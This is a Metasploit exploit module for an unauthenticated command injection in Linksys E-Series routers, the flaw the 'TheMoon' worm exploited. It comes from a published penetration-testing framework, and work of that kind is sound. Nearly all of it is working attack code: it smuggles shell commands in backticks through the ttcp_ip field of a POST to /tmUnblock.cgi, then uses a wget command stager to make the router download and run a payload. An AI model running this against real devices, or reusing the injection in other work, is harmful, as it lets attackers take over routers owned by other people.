Linksys E-Series TheMoon Remote Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Linksys E-Series TheMoon Remote Command Injection',
      'Description' => %q{
        Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
        injection. This vulnerability was used from the so-called "TheMoon" worm. There
        are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000,
        E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested
        successfully against an E1500 v1.0.5.
      },
      'Author'      =>
        [
          'Johannes Ullrich', #worm discovery
          'Rew', # original exploit
          'infodox', # another exploit
          'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'EDB', '31683' ],
          [ 'BID', '65585' ],
          [ 'OSVDB', '103321' ],
          [ 'PACKETSTORM', '125253' ],
          [ 'PACKETSTORM', '125252' ],
          [ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
          [ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
        ],
      'DisclosureDate' => '2014-02-13',
      'Privileged'     => true,
      'Platform'       => %w{ linux unix },
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
          [ 'Linux mipsbe Payload',
            {
            'Arch' => ARCH_MIPSBE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'   => 0,
      'DefaultOptions' => { 'WfsDelay' => 30 }
      ))
      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end


  def execute_command(cmd, opts)
    begin
      res = send_request_cgi({
        'uri'    => '/tmUnblock.cgi',
        'method' => 'POST',
        'encode_params' => true,
        'vars_post' => {
          "submit_button" => "",
          "change_action" => "",
          "action" => "",
          "commit" => "0",
          "ttcp_num" => "2",
          "ttcp_size" => "2",
          "ttcp_ip" => "-h `#{cmd}`",
          "StartEPI" => "1"
        }
      }, 2)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def check
    begin
      res = send_request_cgi({
        'uri'     => '/tmUnblock.cgi',
        'method'  => 'GET'
      })

      if res && [200, 301, 302].include?(res.code)
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("Trying to access the vulnerable URL...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
    end

    print_status("Exploiting...")
    execute_cmdstager({:flavor  => :wget})
  end
end